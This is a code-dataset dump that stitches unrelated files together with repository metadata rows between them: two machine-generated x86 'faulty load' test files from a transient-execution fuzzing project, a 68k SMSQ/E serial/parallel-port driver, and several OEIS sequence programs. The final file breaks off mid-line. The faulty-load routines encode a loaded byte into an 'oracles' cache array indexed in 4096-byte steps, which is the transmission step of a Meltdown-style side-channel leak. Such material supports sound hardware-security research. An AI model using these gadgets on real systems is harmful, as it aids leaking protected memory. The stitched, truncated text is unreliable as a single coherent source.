.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_normal+0x1dd20, %rsi lea addresses_WT+0x1db0, %rdi clflush (%rsi) nop nop nop nop cmp $20949, %r13 mov $73, %rcx rep movsw nop nop nop nop cmp $52766, %rdi // Store lea addresses_WT+0x11d20, %rax nop inc %r11 mov $0x5152535455565758, %rcx movq %rcx, %xmm3 vmovups %ymm3, (%rax) nop nop nop nop cmp %r15, %r15 // REPMOV lea addresses_normal+0x1c950, %rsi lea addresses_WC+0x13520, %rdi nop nop nop nop add %r11, %r11 mov $66, %rcx rep movsb nop and $31947, %r11 // Load lea addresses_D+0x61ba, %rsi cmp $10504, %r15 vmovups (%rsi), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rax nop nop nop nop nop and $45794, %rdi // REPMOV lea addresses_WC+0x5d20, %rsi lea addresses_WC+0x133a8, %rdi nop nop sub %r12, %r12 mov $70, %rcx rep movsw nop nop nop nop nop add $9251, %rcx // Store lea addresses_WT+0xe920, %r15 nop nop nop dec %r13 movw $0x5152, (%r15) nop nop nop nop add %rdi, %rdi // Faulty Load lea addresses_WC+0x5d20, %rcx nop nop and $21456, %r12 mov (%rcx), %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rsi pop %rdi pop %rcx pop %rax pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WC'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} <gen_prepare_buffer> {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
40.147059
2,999
0.658242
edb3ad04849b42f3ed95925d9fe4c03d2dd0d12f
8,548
asm
Assembly
smsq/q68/spp/thing.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/q68/spp/thing.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/q68/spp/thing.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SER PAR PRT Thing V2.12  1999 Tony Tebby ; ; 2003-09-24 2.11 prt_use$ bug fixed (wl) ; 2003-10-06 2.12 Some fixes for non-QPC I had sent TT 2 years ago (MK) ; 2020-02-08 2.13 Use ser par prt as thing name, not ser_prt, some branches made short section exten xdef spp_thing xdef spp_tnam xref spp_cknm xref iob_abort xref iob_clear xref thp_str xref thp_ostr xref thp_rstr include 'dev8_keys_thg' include 'dev8_keys_err' include 'dev8_keys_serparprt' include 'dev8_mac_thg' include 'dev8_mac_assert' spp_tnam dc.w tnam2-*-2 dc.b 'Ser_Par_Prt',$a tnam2 ptp_chr dc.w thp.opt+thp.ulng ; unsigned long dc.w thp.char ; compulsory character dc.w 0 ptp_3olw dc.w thp.opt+thp.ulng+thp.nnul ; optional long word (second size) ptp_2olw dc.w thp.opt+thp.ulng+thp.nnul ; optional long word (size, time) ptp_olw dc.w thp.opt+thp.ulng+thp.nnul ; optional long word (port number) ptp_nul dc.w 0 ;+++ ; This is the Thing with all the SER PRT extensions ; ; a1 c p parameter stack pointer ; a2 c p thing linkage block ; ;--- spp_thing page ser_use thg_extn SERU,ser_flow,thp_ostr paru.reg reg a1/a4 assert spd_nser-spd_npar,spd_pars-spd_parp,spd_sers-spd_serp moveq #spd_nser-spd_npar,d0 seru_do movem.l paru.reg,-(sp) move.l spth_spd-spth_link(a2),a4 ; linkage add.l d0,a4 tst.w spd_npar(a4) ; any PAR? beq.s seru_ok ; ... no bsr.s par_unam blt.s par_ser move.w #$ff00,spd_parp(a4) ; set PAR bra.s seru_ok par_ser move.w #$00ff,spd_parp(a4) ; set SER seru_ok moveq #0,d0 movem.l (sp)+,paru.reg rts par_unam tst.w (a1) ; any parameter? beq.s pun_rts ; ... no move.l 4(a1),a1 cmp.w #3,(a1)+ ; 3 characters? bne.s paru_ip4 move.l #$dfdfdf00,d0 and.l (a1)+,d0 cmp.l #'SER'<<8,d0 ; SER? beq.s pun_ser cmp.l #'PAR'<<8,d0 ; PAR? bne.s paru_ip4 moveq #1,d0 ; PAR rts pun_ser moveq #-1,d0 ; SER pun_rts rts paru_ip4 addq.l #4,sp paru_ipar movem.l (sp)+,paru.reg part_ipar moveq #err.ipar,d0 rts page ; For an optional port number followed by one or more numeric parameters ; there is a series of tests. ; If the first parameter is between 1 and 16, it is assumed to be a port ; number unless the next parameter is unset (<0) in which case the part is ; assumed to be port number 1 ; for this code to work, all parameters must be unsigned must have negative null. ; If all cases, A1 is returned to the first parameter after the port number. ; ser_port move.l (a1)+,d0 ; port number set? bgt.s spt_cport ; yes bra.s spt_nport ser_oport move.l (a1)+,d0 ; port number unset? ble.s spt_nport ; yes or not a port cmp.l #16,d0 bhi.s spt_nport ; > 16? tst.l (a1) ; next parameter set? bpl.s spt_cport ; ... yes, check port number spt_nport subq.l #4,a1 ; backspace parameter pointer moveq #1,d0 ; port 1 spt_cport move.l spth_spd-spth_link(a2),a3 ; linkage cmp.w spd_nser(a3),d0 ; port in range? bhi.s spt_bport ; ... no subq.w #1,d0 ; add 0 to 3 mulu #spd.len,d0 ; offset move.l spd_pser(a3),a3 add.l d0,a3 tst.w spd_port(a3) ; port set? ble.s spt_bport rts spt_bport ppt_bport moveq #err.fdnf,d0 rts ; For an optional port number followed by one or more numeric parameters ; there is a series of tests. ; If the first parameter is between 1 and 16, it is assumed to be a port ; number unless the next parameter is unset (<0) in which case the part is ; assumed to be port number 1 ; for this code to work, all parameters must be unsigned and negative null. ; In all cases, A1 is returned to the first parameter after the port number. ; par_port move.l (a1)+,d0 ; port number set? bgt.s ppt_cport ; yes bra.s ppt_nport par_oport move.l (a1)+,d0 ; port number unset? ble.s ppt_nport ; yes, or not a port cmp.l #16,d0 bhi.s ppt_nport ; > 16? tst.l (a1) ; next parameter set? bpl.s ppt_cport ; ... yes, check port number ppt_nport subq.l #4,a1 ; backspace parameter pointer moveq #1,d0 ; port 1 ppt_cport move.l spth_spd-spth_link(a2),a3 ; linkage cmp.w spd_npar(a3),d0 ; port in range? bhi.s ppt_bport ; ... no subq.w #1,d0 ; add 0 to 3 mulu #spd.len,d0 ; offset ppt_set move.l spd_ppar(a3),a3 add.l d0,a3 tst.w spd_port(a3) ; port set? ble.s ppt_bport rts ser_flow thg_extn SERF,ser_buff,ptp_chr serp.reg reg d1/a1/a3 movem.l serp.reg,-(sp) bsr ser_port blt.s serp_exit move.l (sp),a1 moveq #$ffffffdf,d0 and.l 4(a1),d0 sub.b #'I',d0 ; ignore = 0? beq.s serf_set cmp.b #'H'-'I',d0 ; hardware = -1? beq.s serf_set cmp.b #'X'-'I',d0 ; xon/xoff? beq.s serf_x moveq #err.ipar,d0 bra.s serp_exit serf_x moveq #1,d0 serf_set move.b d0,spd_hand(a3) ; set handshake control serp_ok moveq #0,d0 serp_exit movem.l (sp)+,serp.reg rts page prt_use thg_extn PRTU,prt_use$,thp_str prtu.reg reg d4/d5/a0/a2/a3 prtu.frame equ $0c prtu_thg equ prtu.frame+$0c movem.l prtu.reg,-(sp) sub.w #prtu.frame,sp ; room for parameters move.l 4(a1),a0 ; PRT name move.l spth_spd-spth_link(a2),a3 ; linkage move.l sp,a2 jsr spp_cknm ; check name move.l prtu_thg(sp),a2 bne.s prtu_exit ; ... oops tst.l d4 ; PRT itself? bmi.s prtu_inam ; ... yes tst.b d5 ; SRX bgt.s prtu_inam ; ... yes move.l spd_pprt(a3),a2 ; prt definition assert spd_pname,spd_prtd-$c,0 move.l (a0)+,(a2)+ move.l (a0)+,(a2)+ move.l (a0)+,(a2)+ move.l a3,(a2)+ moveq #0,d0 prtu_exit add.w #prtu.frame,sp movem.l (sp)+,prtu.reg rts prtu_inam moveq #err.inam,d0 bra.s prtu_exit prt_use$ thg_extn PRT$,prt_buff,thp_rstr move.l a0,-(sp) move.l 4(a1),a1 move.l spth_spd-spth_link(a2),a0 *** modified in 2.11 - use correct offset *** move.l spd_pprt(a0),a0 assert spd_pname,0 move.w (a0)+,d0 ; length of name move.w d0,(a1)+ prt$_loop move.w (a0)+,(a1)+ prt$_lend subq.w #2,d0 bgt.s prt$_loop moveq #0,d0 move.l (sp)+,a0 rts page prt_buff thg_extn PRTB,prt_clear,ptp_2olw movem.l serp.reg,-(sp) bsr.s prt_port bge.s ser_bfcheck bra.l serp_exit prt_port ; determine PRT port move.l spth_spd-spth_link(a2),a3 ; linkage move.l spd_pprt(a3),a3 tst.l spd_prtd(a3) beq.s prt_nprt move.l spd_prtd(a3),a3 rts prt_nprt moveq #err.fdnf,d0 rts ser_buff thg_extn SERB,ser_room,ptp_3olw movem.l serp.reg,-(sp) bsr ser_oport ser_bfcheck blt.l serp_exit move.l 4(a1),d0 ; any input buffer length? ble.s serb_out moveq #0,d1 move.w spd_minbf(a3),d1 ; any minimum? beq.s serb_in cmp.l d1,d0 ; new is big enough? bge.s serb_in ; ... yes move.l d1,d0 ; ... no, use minimum serb_in move.l d0,spd_ilen(a3) ; set input buffer length asr.l #2,d0 ; room should be 1/8 addq.l #1,d0 ; +1 move.l d0,spd_room(a3) ; ... set room serb_out move.l (a1),d0 bge.s serb_oset moveq #0,d0 serb_oset move.l d0,spd_olen(a3) ; serial output buffer serb_ok bra.l serp_ok ser_room thg_extn SERR,ser_eof,ptp_2olw movem.l serp.reg,-(sp) bsr ser_oport blt serp_exit move.l (a1),d0 ble.s serb_ok move.l d0,spd_room(a3) ; set room add.l d0,d0 ; ensure buffer more than 2x cmp.l spd_ilen(a3),d0 blt.s serb_ok move.l d0,spd_ilen(a3) ; increase buffer bra.s serb_ok ser_eof thg_extn SERE,ser_clear,ptp_2olw movem.l serp.reg,-(sp) bsr ser_oport blt serp_exit tst.l spd_cdchk(a3) ; cd checking routine? beq.s serb_ok move.l (a1),d0 move.w d0,spd_cdef(a3) ; set eof timer ; move.w d0,spd_cdct(a3) bra.s serb_ok page prt_clear thg_extn PRTC,prt_abt,ptp_nul moveq #0,d0 bra.s prtc_chk prt_abt thg_extn PRTA,ser_pxt,ptp_nul moveq #-1,d0 prtc_chk prtc.reg reg d0/d7/a0/a1/a2/a3 movem.l prtc.reg,-(sp) bsr prt_port bge.s prtc_do bra.s prtc_exit ser_clear thg_extn SERC,ser_abt,ptp_olw moveq #0,d0 bra.s serc_do ser_abt thg_extn SERA,prt_use,ptp_olw moveq #-1,d0 serc_do movem.l prtc.reg,-(sp) bsr ser_port blt.s prtc_exit prtc_do move.l (sp),d0 move.w sr,d7 trap #0 ; supervisor mode for this lea spd_obuf(a3),a2 ; pointer to pointer to output buffer tst.l d0 bge.s prtc_clear jsr iob_abort ; abort bra.s prtc_restart prtc_clear jsr iob_clear ; clear prtc_restart tst.l (a2) ; ... anything to go? beq.s prtc_rte ; ... no move.l spd_oopr(a3),d0 ; any output operation? beq.s prtc_rte move.l d0,a0 jsr (a0) ; ... yes, do it moveq #0,d0 prtc_rte move.w d7,sr tst.l d0 prtc_exit move.l d0,(sp) ; set return d0 movem.l (sp)+,prtc.reg rts page ser_pxt thg_extn SERP,,ptp_2olw movem.l serp.reg,-(sp) bsr ser_oport blt serp_exit move.w 2(a1),spd_stxp(a3) ; set xmit pause bra serb_ok end
20.747573
88
0.68671
f7f4b02f946b4300578c9cd778971e81eca52c96
361
asm
Assembly
oeis/021/A021313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021313.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021313: Decimal expansion of 1/309. ; Submitted by Jon Maiga ; 0,0,3,2,3,6,2,4,5,9,5,4,6,9,2,5,5,6,6,3,4,3,0,4,2,0,7,1,1,9,7,4,1,1,0,0,3,2,3,6,2,4,5,9,5,4,6,9,2,5,5,6,6,3,4,3,0,4,2,0,7,1,1,9,7,4,1,1,0,0,3,2,3,6,2,4,5,9,5,4,6,9,2,5,5,6,6,3,4,3,0,4,2,0,7,1,1,9,7 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $2,31 mul $3,10 lpe mov $0,$2 mod $0,10
24.066667
199
0.545706
4949988142cc599227bf9b3d114ce4561ec2df4f
432
asm
Assembly
oeis/332/A332187.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/332/A332187.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/332/A332187.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A332187: a(n) = 8*(10^(2n+1)-1)/9 - 10^n. ; Submitted by Jon Maiga ; 7,878,88788,8887888,888878888,88888788888,8888887888888,888888878888888,88888888788888888,8888888887888888888,888888888878888888888,88888888888788888888888,8888888888887888888888888,888888888888878888888888888,88888888888888788888888888888,8888888888888887888888888888888 add $0,1 mov $1,10 pow $1,$0 mul $1,8 sub $1,4 bin $1,2 mov $0,$1 mul $0,14 div $0,5040
30.857143
273
0.798611
6f6fc11ead2c6a8f43173de3df451b50addde1cc
308
asm
Assembly
programs/oeis/057/A057651.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/057/A057651.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/057/A057651.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A057651: a(n) = (3 * 5^n - 1)/2. ; 1,7,37,187,937,4687,23437,117187,585937,2929687,14648437,73242187,366210937,1831054687,9155273437,45776367187,228881835937,1144409179687,5722045898437,28610229492187,143051147460937,715255737304687,3576278686523437,17881393432617187 mov $1,5 pow $1,$0 mul $1,6 div $1,4
38.5
234
0.788961
95e2e88cb4f3c306ce3cfb97f35e801afc3d375c
559
asm
Assembly
oeis/245/A245288.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/245/A245288.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/245/A245288.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A245288: a(n) = (4*n^2 - 2*n - 1 + (2*n^2 - 2*n + 1)*(-1)^n)/16. ; Submitted by Christian Krause ; 0,0,1,1,5,3,12,6,22,10,35,15,51,21,70,28,92,36,117,45,145,55,176,66,210,78,247,91,287,105,330,120,376,136,425,153,477,171,532,190,590,210,651,231,715,253,782,276,852,300,925,325,1001,351,1080,378,1162,406,1247,435,1335,465,1426,496,1520,528,1617,561,1717,595,1820,630,1926,666,2035,703,2147,741,2262,780,2380,820,2501,861,2625,903,2752,946,2882,990,3015,1035,3151,1081,3290,1128,3432,1176,3577,1225 mov $1,$0 div $1,2 gcd $0,$1 mul $0,$1 bin $1,2 add $0,$1
50.818182
400
0.679785
aa74514fbc0dd9457ddbf39902af7e07c13d327b
386
asm
Assembly
programs/oeis/027/A027916.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/027/A027916.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/027/A027916.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A027916: Least k such that 1+2+...+k >= E{1,2,...,n}, where E = 2nd elementary symmetric function. ; 2,5,8,13,19,25,33,42,51,62,74,86,100,115,130,147,165,183,203,224,245,268,292,316,342,369,396,425,455,485,517,550,583,618,654,690,728,767,806,847,889,931,975,1020,1065,1112,1160,1208,1258,1309,1360,1413,1467 mov $1,$0 add $0,3 bin $0,2 mov $2,$1 add $2,1 div $2,3 sub $0,$2 sub $0,1
32.166667
208
0.668394
f90ee33b9885faa08c631001554ead04936dcea1
9,405
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_1621.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_1621.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_1621.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x198fd, %r10 nop nop nop nop and $10161, %r9 mov $0x6162636465666768, %rdi movq %rdi, (%r10) nop nop and $54222, %r11 lea addresses_WT_ht+0x17cbd, %rdi clflush (%rdi) nop nop nop nop add %rbx, %rbx movups (%rdi), %xmm0 vpextrq $1, %xmm0, %rbp nop nop inc %r9 lea addresses_WC_ht+0x1a87d, %rsi lea addresses_UC_ht+0x8f7d, %rdi nop nop xor %rbp, %rbp mov $109, %rcx rep movsw nop nop nop cmp $6019, %r11 lea addresses_UC_ht+0x75e5, %rbp nop nop nop nop xor $59206, %r9 movw $0x6162, (%rbp) nop and $29386, %r11 lea addresses_normal_ht+0x565d, %rsi and %r9, %r9 vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rbp nop nop nop nop xor %r9, %r9 lea addresses_WC_ht+0x1497d, %rcx clflush (%rcx) nop add $59634, %r10 mov (%rcx), %r9 nop sub %rcx, %rcx lea addresses_WT_ht+0xb03d, %rsi nop inc %rbp movups (%rsi), %xmm5 vpextrq $1, %xmm5, %r11 nop nop add %rbx, %rbx lea addresses_WC_ht+0x1e2ec, %rbx nop nop nop nop add %r9, %r9 mov (%rbx), %edi nop nop nop xor $37064, %r9 lea addresses_A_ht+0x9333, %rsi lea addresses_A_ht+0xa07d, %rdi sub $34701, %r11 mov $115, %rcx rep movsq nop nop nop nop xor $38322, %r10 lea addresses_WC_ht+0x4ced, %r10 nop nop cmp $38110, %rcx mov (%r10), %rdi nop add $9893, %rdi lea addresses_WT_ht+0x19efd, %rsi lea addresses_WT_ht+0x96fd, %rdi sub $35252, %rbp mov $18, %rcx rep movsb nop nop and $50065, %rsi lea addresses_UC_ht+0xdd7d, %r11 nop xor $54523, %rbx mov (%r11), %r9w nop nop nop nop inc %r10 lea addresses_D_ht+0x12e1d, %rcx add $54672, %rbx mov (%rcx), %edi nop nop nop nop nop add %rbp, %rbp lea addresses_UC_ht+0xf8bd, %rdi nop nop sub %rbp, %rbp movb $0x61, (%rdi) nop nop add %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rbx push %rdx push %rsi // Store lea addresses_A+0x17629, %rsi sub %rbp, %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm2 vmovups %ymm2, (%rsi) nop nop nop sub $25632, %r12 // Store lea addresses_normal+0x9cfd, %r12 xor $19645, %rsi movl $0x51525354, (%r12) nop nop nop nop nop dec %rdx // Load lea addresses_RW+0x1a93d, %r14 nop nop nop nop nop sub %rbp, %rbp movups (%r14), %xmm3 vpextrq $0, %xmm3, %rdx nop nop nop nop nop dec %r12 // Store mov $0x5a1, %r14 nop nop nop nop cmp %r9, %r9 mov $0x5152535455565758, %rbp movq %rbp, %xmm6 vmovups %ymm6, (%r14) xor $26684, %rsi // Store lea addresses_UC+0x12d7d, %r12 clflush (%r12) nop nop nop add $49544, %r9 movl $0x51525354, (%r12) nop cmp %r9, %r9 // Store lea addresses_A+0x7d, %rbp nop nop add %r12, %r12 movb $0x51, (%rbp) nop nop nop nop nop sub %rdx, %rdx // Store lea addresses_normal+0x3d7d, %r12 add %rbx, %rbx mov $0x5152535455565758, %rdx movq %rdx, %xmm2 vmovups %ymm2, (%r12) nop nop nop inc %r9 // Store lea addresses_A+0x277d, %r12 nop xor $39685, %rsi movl $0x51525354, (%r12) nop sub $50659, %rdx // Faulty Load lea addresses_normal+0x3d7d, %r14 nop nop nop cmp %rsi, %rsi movb (%r14), %dl lea oracles, %r14 and $0xff, %rdx shlq $12, %rdx mov (%r14,%rdx,1), %rdx pop %rsi pop %rdx pop %rbx pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 2}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 10}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 9}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 1}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 6}} {'dst': {'same': True, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 0}} {'dst': {'same': False, 'congruent': 8, 'type': 